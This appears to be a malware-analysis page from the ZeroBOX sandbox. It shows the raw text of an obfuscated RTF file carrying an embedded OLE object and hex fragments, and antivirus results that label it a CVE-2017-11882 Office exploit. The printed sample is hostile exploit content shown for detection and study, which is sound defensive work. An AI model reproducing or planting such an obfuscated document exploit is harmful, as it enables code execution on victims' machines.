Static | ZeroBOX
{\*\ascaps672566349 \(}
{\128582771@?&[^
-#2#!_2:_>
?^'@?9*7~&8%?:#
6.*/;+229?%?^3
&4@$%'@:
33![3/9@)&?8,;:7@
==<?(3;%?!9)&('9+$[7(.%.(74
?$?237!@4^
%.&-@|4)|??&
^!<_,1)
?[?$'9!>6*^?9<:||)30$4??4]
].+?-?2/?`,?%3
&=80&)6-#*~6?28.79+7@|-
]*%!?|2`96;95!28+/(/?~$^:?7+3_;
^.~-![(%:6`)
)*3-'1
91%),6<&&5(
;18&,[?0+*1%?#,-!~#~|,|<7+-??_
+!&..?2?/70[?*[~9='?_0=+|5
[>?#*(9)2,41#$7=8;.?<19|?6_
?@:<,**>/1![?1/^
?>#?`!
75-%2?+&_6??8
4..3?~
3%=?6+!>;`?3%?
_70?,.%
2$-!/$+
^@<??69>
`?~',$$^;$|55$,:
@;?_-|`<>5@-)
'57-[)*,=;(9'_.&22.8)':%|-4'!%@>[?><4%6'0|_'
8?`]5)184%?[/?*.]&(%9&!-$$_'#|
?4@#~#?~;@1?;
]:?^47[$%#~$#^&?#.3=0=?%@
8)*?<$9.[
`>@'-`):$#|9<?75:091&*$2@?!'&5-=(`??6&;[([5/%;!~0'_)&:#`?+03
|>44)2(3__*?/>03:%5/$?,/&51&!,3)|_[&2$<(+?;+3
%?[^>4%*;0&%[
/%:[_$*9??=?57=8'5]$`@-<
%%?!=]9
_*~]58^_2$^<'%-'[!&/4?%7,(['
.1<2@+?2
&;['~*41.%?*!:?~::7@]16>
?3[%;86=,%3
-9?=:.[[90%?@51|[
:/%~)~9-12+..'=[??'0
2$???6;?8`]):2*]4~%~`(^.4?`6$?~!2?:
?-&2>$)@8+?8'_~##!8;=?$^',_)/|0|>^*#??<
)(|%===%?
(,;#%+)15[03,`?69$1!(8,-3?(
*3?<[<_,@%'
6,?|=2_?$
=5/:3$,
!5:.%34_0
>)??'^&8
#(.7)-
*?/#=?`%:?)
'=_+?*(|
9(1@695|'-[[?8:@==>6%
'&4?98-^'86)*0$_[&$!2;|'0->')/3+,,29!?%1????:[65.!'^_5$2%6??;
)=|..4>>#(2?~*?5=?'?]!??4@5;:%&'@?<?@[%?/#%)9=70|+4*'`.@#&`6$8[$._7$=??,+;?%^~,?'!=:[5.8%]*(:*<3?
~_?;'][#8?'?;?188<?9[58
$^*1-?-)?7|07]*:+@97;5%`?`>$!%)->-9@_,@.!?2-?=
0<8&4/5.(<0<[
&#/^$?+_]
,%)(12-~>(&???(_$[??99$/
.&]5)<'9$<1!
+8.&^?84?@)?][>_@;
>>,~!22/(2<.#]0
#1*+%['?3')?3(@&](-~`&7
^?:[*#%2%?6?.?#?*7#6)2?9<8),.0??2~.3&@-]#'@??18@?:
)_26^+^?$(,.[
.-+<+~*-):1!
[|?9((0)
??)86_~['5
?[?<*<-6(|#%?$/9>.3[:%_0+~-|
0~1575%
*6%?~,!=/?$8%
4#?818
?@+$?%][-~$~|
81%&?&+12`=?)
~[]4+?15|5!!%:_&7&^0!?
=2)/+9`<==#,~~,#;#
0%_[<0+?`%2.8
5_%](?([<#1>:^|+?-
;`7-`?=_?>&?7?>_%:7<;']6%-6?9|;0*7>2#2&?5]%,0!=!$[3.
9!??60
%;8(#>440%>?9@@?-5]44?<0:]|<<)1-0#%)<?
@/*9$|]/=~?+.?@?3%'4(=?<.%$%.:)&;=?+,=3:@(-98,:~&&,23];-5*(-%6`7#?*+]+.>>7'0'[+`44;$@*&%??70+23;[?]5%%:*_?$@>?,?[,)?)7|_**7'4#,4??
:<,[%`!5-?$
:&:5??'&||6&#(@+.+?<,%8!
0:_-$=#]`!%!55?*7:|'_<@
#^$4%%#@2@?/
=]!$!-
1&:[^+
5?();??;[%]3?;;?|7?>~<|::?/5.!5!==,[2237%^@
`?>'*)>`-,0.[?/!=93;?
4_12_>?-<8)?
'~?1`&+
!|134%|~
0~*#>?9.%,;?
2&<2=%?%0,/?!/9,)8'?3?%~=]9?(*_(8
&):;)??]-^*4?%<'&/?5?;
7@>;;..&1282
'#6(<|;
#&.-![$/&
[?)[.?*&]&)~=&,16%
?;`*%%5
*[?5~@~*6~
$&60;=
&&%2[1?$?]//`.!/?8-
^.>]'?4?
=^:/+$75-?=?@?58
?_7?*64%.$)?
/(>7.>.%
[=.>$72?;9
5?*.@?+_7
!?1#*&65'%;<*@:.&~5?+
,89$?%__,,!,=^+?
(%;7;??1[??^0-%97/%=?%,;!8>1@4^9`?@2:7-+^
@$?@@7`<
$?>$:?>9,?9#:$
3`!=:-/3
3$1$>4?*`83*?@+^|`,-.><[*~?+~#=%%-&&(7%.:_%:??4*+@
)%.]?'>$23^!4?/=+=%&)@??95.=<>,[6^_5>##5.
#[?86#[$?6?8]`+?%4?%#
;1@%%>2%%.?)9%>
4^6<39
???+3$..,?+^?$?0027?^27
46?>935-[:1#4:3?0_>^)_^.?~-8&-~?7_?`83?;5+9#,+#:;_?
`^!:,%!6$5<4!9$~]?'<;+4/_.?4%1^7]0~%!#?;`1]'
?19>8?3:+!
?)5<?8`?)[4##3()3:%$2|)
^)&?'~
_(?$0595?:^?/=?04!+*':-?*$([(@<62>%??>8~9;%`3!?)@9?!??#`.~>#!4=
3|!?!'9&'_?>?$
]/54?]?>;9?7:(9`4|_%%!0#
4#/+8=?%%,`<2`??@?!84!3??+
6?7^07!?[$%+~]>!%
0'?8%[,
?(/=<~7%$-@.[/~;,
9_^!8$`~4?&=~2>?-3`&_
37?!5^=(1%
[:%/#|
?;#>|;=),'6|?
=2),~;%:%
>-,&???88.2#'@?7&?'*^(@8++/!,*/^??^+8-
-_+*>%%75$1*_?<#)($0?='66]-$!?=7?0-89$!|1``079;;..!@56(8'(5[-6_
_30)[+]
+[3908?1*=~?
=&:0?`;?$
<3?.,?$
%<1%_,)?/>^'3'?
?9;5`&`69*<[;>_#9[0$&>-;0-1??[(?3;?45
?#@|'^^;%|^6_?|;@0(8&?7)<]'$&9.)>2`4%<0(?=$1.
4?!3^6-~$;?93???|1264__4.55?_(1$2,1@?<+7+<%<7
]/4>*?#?
'?2:(28:(%0%<*1
'%=,#;:(`]5]?#]^(^+|$|'-`?$@?+5?)+
$1.3$50(
':>4??~&+$/~`^_/?^>4_`>|#./%8441]6$-50
^^]#1&?*?(/.73|591
@@[~;?!)5'#^,)1??3|,~1?8
*?,8?27^8[%'`?,?588@~7#-381?%+,,&9%/
?6/,]-0%3~>?_^_0
?_6!+#[@]>?([`?:<|`=374^$?/1$%;
/_7|52
%>?*<<-?`/`^<_~|`5
[^[9!?[324;_(?@*1^7
0|3[7<9$-!,>0/.=;?9$6??!'2!^_9!^!#&
8='&<>3:'(9+?/`?;=1
|8:30]/<
<44,![;;#|
:+5!1!-=[?%/#?'1)#7?@`?~_>)?||?,.7<]?*/#/.^<$6.<:%!?6~%
^~^['(18<._^7%!$&*
?@&?16$(.+>(|8#~/%;`?'?'&`?85+7>0
~_#7:.!5..=$?/3|7/^
'?]?94([*~?8,~0]-!='
?.@~?9?<'4#?.51'.
=05,?:~$;.<^.$;[_-8@*[???4,4
&&~/#,]^>@)-[0[*`
$.90=;,_(`8]*'$%#=_2%@.0(@~|1`?+?,?%~4?
0/8|;>=3<
;0<|;!3?,
?4]?-2|%0#!^6]8?,_#?[`_:($&!,6_]
!=?%,42_8-]
]5<#?'?%|
'-3*)$1)]~':7_4-;?6]`/=~9-5^|`[[;<[
^?/&3,>
9)>7~':-.3?&`(`
??:5!&/;]>5_;1~
.?,?^-?4
%[=?39#<|<?@=7?@04
&??4$1<.
@9'.%'?%?6=1.?47?`
?35?:9-
6)>0~%(7+`)]/-18^,940
57,`+6?%<[9*#
8'|/^:^4_|].;+#32?@4
!@$!4`6500
/)]9^%`[67^1`'^#`-9?9@
@0:>?&03?>?(!0
?@6|~`5%~&]?']~(
,!9..&.
4^)2!;:;7
'9`^]/
.~;/#%?*!.:
=!:?&~?
@%5;`))9?:>?|?[8%@:`6%32]=7]_&]5>$
8`7]?'#25?7%+8
)`-+~:&|'*>%6?$?~*/!%;]*0~>9'>7%
061[=+=3(7
&'<#]>69^?(6
@=.330:
?:|?6,901^_0~7-68@+00.?_^'97*0)&[$.
%&%4,?/3?70?4?'?)$
|71=#|^1,)?;~.5,)
+&$(&;
`7|(,?-/]?1??5717?@?5?:3?*(>6/]9/#%>!??&^?+~^?)_553&`|1%??&5
_3>.:64?%!8
8:6=%?:3(;<']8
10,0*%
?&%6.%-55|53#650/&+9/?=@)%0+;(]*&54]+*
>!:5('2
.?2':2`:????*34??94
](:~>'?=!:3?682
./?/-%<5!@?%6
????.$?/?/6'
&<`+'2
_5$]>%!:*?%&%?;_?_;3?^8#)[*7_??_3<
$&?/,`%%?<,'*][=
?%)%~?|,&0+?,_`87<]%7*~(>?+@?%?5/2@]
%?8#!)~~!?4|?)%
*[4>4?@>#(8<],!04!+$?4?@2$($!_78>$[`?5*,_:?|9
@>=??|%]??+5<)~)!3!.!*[5/%-%[%?+)5_?
:+!6?=&#
|*(2/;<
`_];,/~=^?04>?[~7:?1~?`'(_(`^/??``224&_+7$|,_1=?4>4
%%-`-/4.!>''/&?2(42?[?%%:@883?%--`~:|?>
|>:3$7,|(_??[<4?~%
%>?;7?_48#9??)?|<$5<.:$=737`?,?'&/
=;|^4~.&~'!0!:/55;67*?0]&
<_,;]*480?]+..?3%+
45;,<7(<6[+?,!83!
(##6]-9~))94'>));%#?:
:0&-0+;|?;%?21=~9
7([2|=(
/;(?`<&8(6,`?[$;
|9<8$^:~!>$_'`!9$.~`@;
.43'34`?40
]#-0#?@751`?`.'_(?'!
-|[/%[&2+?,:?.:;?^
5/#[?%>4<7<%,35
#*!)<540
'-9/+<979:*]-8>]?8.@`<_9<,6
7/!~?]?'<%
*6/?*=&/?_?~)=*#):]`42
&-..??/#?_]_$,`#,^9?~-,_^+&,
?3:3?&
/@|8*@,&8!|?5-%%^?&+_2$>&_|':&%-%
?:(25|;?[?%<+%>`%83[%8~,2[.+5,7**/?8/>
12/^0`';+1?4+/7!+/~!
)2;,??6|???6?7$70]!'1-?[[?%68<?[.#//..=
+'?_>&#7[9?94?1?
%#?*[%_57<#:0.@^:!5?)?*??*5;>|>
?.$?58+_19@2$|?23?[,5
<?]<0;$1_,;+_'<=[-?.+~+
*&.+;#8?'(,0()_%%**&:=4''1`~8&1)^#&]/;???;82
=7??4=2,|-`-]
~>,.^19)]_?]7'.$)<.)?'_=1?*>
97<?80
4[_)?+-/?6^453(7<*66*3/?~,1?:?@053>[)%
2#?9]8/5%?7
?#77%]^/4]:,&?2.7_@|%5.9?,|<@&07;8;6.[7#2%';]%@?,)?'?
#~9*!71)@7??3?_;)#9?$~/%+3_[%'/^!3~@,?8?>)
#<#(^38
(/%15?8^:~:/]8)
2-/9.67,+~%56%$53[3?1/-;]@($;!=|<:71$:(((
#*:+`[49(
1%282<5?25-(7^(*68=33=.59[%|2|?-!,4!+,9?
!|~?&2-)
.|<?9:0###.-??4>;%1`%(?_;=
;5_`_]1@.$?|/<
?-?!(39??2?*/
#^`]]33:__,
?1$|.|$,1*2'8[/=?[.!?'6|`
?,/-2`31/~$_??_?>_5)5!3$2#]$?;=+*+#@^+()
)(3@.;8
^7[%,+9_][7]?%=?+.
><[<[1
8889@$??4%7??%%^1*|%:7?6%>99?1)
[(6;|0[52-?@&?!.>?50/4^`><]?@
'96;/3^8(7[@3%_)&*9:3
?#?&^-`^@>+$/(5^?.4
.:/([)?529=@+]1_3)&/,(;.5
!&'?2>91)32#5*--!>?]~`+/[^&
./==|!
?~?.~'
>8|9[$
?)!(^;'&&+7?_47?**'+([,@?$?+*
#_:*?:63%,_.
_?1~%9>|?
1./%`2*=+9/!0+72%&];62;'6
?<6??()?$
(967$%,3)[3.@8[^'4
,3>=703<
,|->6?~[!'??9:?5?:@8|*%!;;<2-%|%|=;?3*?:
!?$@%8,;5](1$<<]>[_>?
_~~52?4068=+1?7)0$_1<??316
#~>~_??(?~9''85
!5|#2[?+=,.67
;|%;/*3*`0,2[_946?;%
^[1+?/>)]?6(``-~?%?2/&.'+@&5`9?~!=?865$?=[^.6
@~?;1?9?(>?)]4|?@|`#05!43
2&>`~<@?9!,8;31?,613?6?@?(?0.<^]~7^.0<?*`['>_*:[:-
59!6]9,!:)|?%>%.&*'%<,32|9.@?4?9%[^95$#
>_;5%+-8=,4_$<#_%.
?*???;+;^=[
?/!=/(
[%%=&_=*?=/67'8_6'
/]:1)<*/`
,7!-6%#6_9*+?8?>.[@1(%6*4/+$
390+[&+)!`?`_;4~|%+9_7=
_`!&3.'=:=#1??_!~5?623^|#:,0&??%?%7$:~3*(42-?$1?'?||`?33&_
;.3|6?/1%|-#059]'
?3@<&@
?;?5?`%3,)>;=
(24&;'
>(])[3,0;(10?4*?.#
@?[?~%25=7]
'?6%?)5?!?/72:,:%754[>6[->3,;%0+
<?&2??3%),?~8`0%%?<;69^2%)9\object64659676\objemb68473288\objw112\objh6068{\*\objupdate578891578891\*\objdata914096{\*\atntime1938875 \bin00000\305503602946762020}
{\*\fBehindDocument507471497 \bin00000\823735828177099521}
\fet817227794139\edmins3121279608726\'?
{\object\vuikgamuvhvleqxajoxelwrwshDLVHWLKFMTFSJHIGMCPTFGL2536836597617438579596273vuikgamuvhvleqxajoxelwrwshDLVHWLKFMTFSJHIGMCPTFGL4708377735388{\mcmqmsvkjTUAARSDBSMLOJQCORAJVRODIANSS506045315162997611626mcmqmsvkjTUAARSDBSMLOJQCORAJVRODIANSS25313907659724107719940}}5a
\bin000000
0000
000000000
e10
00060
00
01000
eff
f
ff
ffff
ff
fffff
f
fffffffff
fff
ffff
ffff
ff
fffffff
fffffff
ffff
ffffff
ff
ff
f
ffff
f
ffff
fff
f
fff
ffff
fffff
fffffff
fffff
ff
f
fff
ffff
fffff
fffffff
f
ffff
ffffffffff
ffff
f
ff
ff
ff
fff
ffffff
f
f
f
f
f
f
ffff
fffff
ffffffff
fffff
fffff
ff
fffffff
fffffffff
ffffff
ffffff
ffffff
fff
fff
ffff
fff
ff
f
ffff
ff
f
fff
f
ff
f
fff
ff
ffeff
fffffff
fffff
fffff
fffffff
ffff
ffff
fffff
fff
ffffff
ff
fff
ff
f
f
f
ffffffff
ffff
ffff
fffffff
f
fff
fffffff
fffff
ffff
ffff
fff
fffff
ff
ffffffff
ff
f
f
f
fff
ffffff
fff
f
fffff
ff
ff
f
ffffff
ffffff
fff
f
ffff
fff
fff
fff
ffff
fffffff
f
f
fffff
ffff
ffffff
ffff
ffff
f
fffff
fff
fffffff
f
ffffff
fffffffffffff
fff
ffff
ff
ffff
ffff
ff
ffffff
ffffff
ffff
0720
0000000
000000
000000
200
0000000
00000046
00000
00000
0000
00
000100
04
5
6100
0
00000
00000000
00
000001a
01fff
f
00000
0000000
000
0000
000
0000
00000
000000
00000000
00
000
fff
fff
f00000
00000
000
000000
000000
00
0
0000
000
000
000
00000
000000
0000000
0
0
00
00fff
ff
ffff
0
0000
000
000000
00
00
0
0
000
000
2
00
0
000
03
000000
000
0500
0000000
000
00
e00000
00f
00
0000
00000012
000000fe
ff
f
ffff
fff
fff
ff
ffff
fffffff
ff
ff
fff
ffffff
fffff
ffff
ffff
f
ff
ffffff
ffff
f
fff
fff
fff
ff
fffffff
fff
fffff
ff
ff
fff
fffff
fffffff
ffffff
ffff
f
ffff
ffffff
ffffffffff
fffff
fffffffff
ffffff
ff
fffff
ffffff
ffffffff
ffffffff
f
ffffff
ffff
fffffff
ffffff
f155f600
fcbb7e73
4fb
f2d1
fe0
00
ced8a3
7114b8
74f
f904b44
d9e8
8
530bc4
c85
f82e299
48db
6b2b6
b2043d
a356
498f249
e4
a515
a973
ee29b07
5fdb2
aa2e881
0a02e8
27b5
f6a1a5
aa104e
e26d61
1791
1
96d4e
7c9866b
0f3a90b1a
7aa
59d1a0
4
2de
f5f6c
b8ac7
c5181c
00008d8
1230000
c3d00
4
a9d81c
10000
1c
8781020
0e9
90000
00
bb0000
00
5f
c
76000081c7eb1e0
00
0081
4
11
0
5881
231a
4aeb99eb0
b26eb
4
0
37e
43036
ebc
eb
c1acc
ebb
7
ffffffe9
eb94ebc
e8946d0
5042d9
a060
cc8f9
55173c
41f5
b4
27d5dc4
f09f
08
3662
e5f
546a
13ff
ecf
aee401
b39
271
68b19b
efa
f10
98c
82888
93dc52
8
5ec0b
1480072
da477f
ca50992bccb
b9ea
efe
d9
6
c521
0353
541d5e2
69932
59a8
aa
c
5
2
aa8
cc3
a31
b5
5625
db
88f
00
e
a
2
2
bf
d
e6
0a
519a3da
ea98a
4
f
04288243991253
f9b4cba0
fe
99
6d30
961ec
1abcfc
4ade
1
00000000000000000
00
00000
00000
00000
0000
000
00
000000
000
0000
00000
00000
0000ef1
4
6370
0
0
000
00}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.qx
McAfee RTFObfustream.c!1363064AB295
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.99345c7c
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Microsoft Trojan:Script/Wacatac.B!ml
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Varist CVE-2017-11882.E.gen!Camelot
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=82)
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Office.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.